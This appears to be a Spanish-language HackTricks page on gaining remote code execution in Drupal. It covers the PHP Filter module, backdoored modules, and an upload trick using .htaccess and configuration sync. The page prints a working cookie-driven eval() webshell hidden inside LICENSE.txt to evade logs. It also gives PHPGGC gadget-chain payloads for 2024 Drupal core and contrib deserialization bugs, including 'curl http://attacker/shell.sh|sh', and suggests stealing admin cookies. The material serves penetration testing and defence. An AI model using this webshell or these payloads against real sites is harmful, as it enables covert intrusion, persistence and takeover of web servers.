Drupal RCE
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Con el módulo PHP Filter
Warning
En versiones antiguas de Drupal (antes de la versión 8), era posible iniciar sesión como administrador y habilitar el módulo
PHP filter, que “Allows embedded PHP code/snippets to be evaluated.” Pero desde la versión 8 este módulo no se instala por defecto.
- Ve a /modules/php y si se devuelve un error 403 entonces el PHP filter plugin está instalado y puedes continuar
- Si no, ve a
Modulesy marca la casilla dePHP Filtery luego enSave configuration - Luego, para explotarlo, haz clic en
Add content, luego seleccionaBasic PageoArticley escribe el PHP backdoor, luego seleccionaPHPcomo formato de texto y finalmente seleccionaPreview - Para activarlo, simplemente accede al nodo recién creado:
curl http://drupal.local/node/3
Instalar el módulo PHP Filter
Warning
En las versiones actuales ya no es posible instalar plugins teniendo acceso solo a la interfaz web después de la instalación predeterminada.
A partir de la versión 8, el PHP Filter no está instalado por defecto. Para aprovechar esta funcionalidad, tendríamos que instalar el módulo nosotros mismos.
- Descarga la versión más reciente del módulo desde el sitio web de Drupal.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz- Once downloaded go to
Administration>Reports>Available updates. - Click on
Browse, select the file from the directory we downloaded it to, and then clickInstall. - Once the module is installed, we can click on
Contentand create a new basic page, similar to how we did in the Drupal 7 example. Again, be sure to selectPHP codefrom theText formatdropdown.
Backdoored Module
Warning
En las versiones actuales ya no es posible instalar plugins teniendo acceso solo a la interfaz web después de la instalación predeterminada.
Se podía descargar un módulo, añadirle un backdoor e instalarlo. Por ejemplo, descargar el módulo Trurnstile en formato comprimido, crear un nuevo archivo PHP backdoor dentro de él, permitiendo el acceso al archivo PHP con un archivo .htaccess:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
Y luego ir a http://drupal.local/admin/modules/install para instalar el módulo con backdoor y acceder a /modules/turnstile/back.php para ejecutarlo.
Inserción de backdoor en Drupal mediante Configuration synchronization
Publicación compartida por Coiffeur0x90
Parte 1 (activación de Media y Media Library)
En el menú Extend (/admin/modules), puedes activar lo que parecen ser plugins ya instalados. Por defecto, los plugins Media y Media Library no parecen estar activados, así que vamos a activarlos.
Before activation:
 (1) (1) (1) (1).png)
After activation:
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1).png)
Parte 2 (aprovechando la función Configuration synchronization)
Aprovecharemos la función Configuration synchronization para volcar (export) y subir (import) entradas de configuración de Drupal:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
Empecemos parcheando la primera entrada allow_insecure_uploads de:
File: system.file.yml
...
allow_insecure_uploads: false
...
 (1) (1) (1) (1) (1) (1).png)
A:
Archivo: system.file.yml
...
allow_insecure_uploads: true
...
 (1) (1) (1) (1) (1).png)
Parchear field.field.media.document.field_media_document.yml
A continuación, parchea la segunda entrada file_extensions de:
Archivo: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
 (1) (1) (1).png)
A:
Archivo: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
No lo utilizo en esta entrada del blog, pero se indica que es posible definir la entrada
file_directoryde forma arbitraria y que es vulnerable a un path traversal attack (por lo que podemos retroceder dentro del árbol del sistema de archivos de Drupal).
 (1) (1) (1).png)
Parte 3 (aprovechando la funcionalidad Add Document)
El último paso es el más simple y se divide en dos subpasos. El primero es subir un archivo en formato .htaccess para aprovechar las directivas de Apache y permitir que los archivos .txt sean interpretados por el intérprete de PHP. El segundo es subir un archivo .txt que contenga nuestro payload.
File: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
¿Por qué es genial este truco?
Porque una vez que el Webshell (al que llamaremos LICENSE.txt) se deja en el Web server, podemos transmitir nuestros comandos vía $_COOKIE y en los logs del Web server esto aparecerá como una petición GET legítima a un archivo de texto.
¿Por qué nombrar nuestro Webshell LICENSE.txt?
Simplemente porque si tomamos el siguiente archivo, por ejemplo core/LICENSE.txt (que ya está presente en el Drupal core), tenemos un archivo de 339 líneas y 17.6 KB de tamaño, lo cual es perfecto para añadir un pequeño snippet de PHP en el medio (ya que el archivo es lo suficientemente grande).
 (1) (1) (1).png)
Archivo: LICENSE.txt parcheado
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Parte 3.1 (subir archivo .htaccess)
First, we leverage the Add Document (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).
 (1) (1) (1).png)
 (1) (1) (1).png)
 (1) (1) (1).png)
Parte 3.2 (subir archivo LICENSE.txt)
Then, we leverage the Add Document (/media/add/document) feature again to upload a Webshell hidden within a license file.
 (1).png)
 (1).png)
 (1).png)
Part 4 (interaction with the Webshell)
The last part consists of interacting with the Webshell.
As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser.
 (1).png)
When the attacker sets the cookie, he can interact with the Webshell and execute any commands he wants.
 (1).png)
And as you can see in the logs, it looks like only a txt file has been requested.
 (1).png)
Thank you for taking the time to read this article, I hope it will help you get some shells.
Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)
Two advisories published 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) describe new PHP object gadget chains in Drupal core (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are not directly exploitable but give attackers a ready-made chain once any contrib/module performs unserialize() on user input.
Practical exploitation workflow:
- Find the unserialize sink (contrib module or custom code). Grep codebase for
unserialize(orDrupal\Component\Serialization\PhpSerialize::decode. Target endpoints that accept POST/JSON or configuration imports. - Generate a payload using the vulnerable class path that matches the gadget chain. After SA-CORE-2024-008, the public chain was added to common payload generators. Example with PHPGGC (commit ≥ Dec 2024):
./phpggc drupal/rce2 system 'id' > payload.ser
- Entregar el blob serializado al sink (por ejemplo, parámetro que se deserializa). Para un cuerpo codificado como form:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
- Trigger destruction (a menudo automático al final de la petición) y ejecutar el comando.
Notes for testing:
- El gadget funciona solo en versiones anteriores a 10.2.11 / 10.3.9 / 7.102 (patched). Verifica la versión objetivo vía
/core/lib/Drupal.phpoCHANGELOG.txt. - Los drivers DB de terceros pueden necesitar hardening adicional; busca despliegues que omitieron la ventana de actualización de seguridad.
Deserialización insegura en módulos contrib → RCE
Varios módulos contrib corrigieron rutas inseguras de unserialize() a finales de 2024. Si el sitio no tiene estas actualizaciones, te proporcionan el sink explotable requerido por la cadena de gadgets del core:
- Mailjet (<4.0.1, CVE-2024-13296): admin-controlled data passed to
unserialize(), enabling PHP Object Injection → RCE when chained with the core gadgets. - Eloqua (7.x-1.x < 1.15, CVE-2024-13297): uso inseguro similar de
unserialize()accesible para usuarios conaccess administration pages.
Testing idea (authenticated):
phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import
Si el módulo deserializa los datos subidos, el gadget chain produce RCE. Combínalo con XSS/CSRF para robar admin cookies y completar la attack chain.
Referencias
- Drupal core – gadget chain – SA-CORE-2024-008
- Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


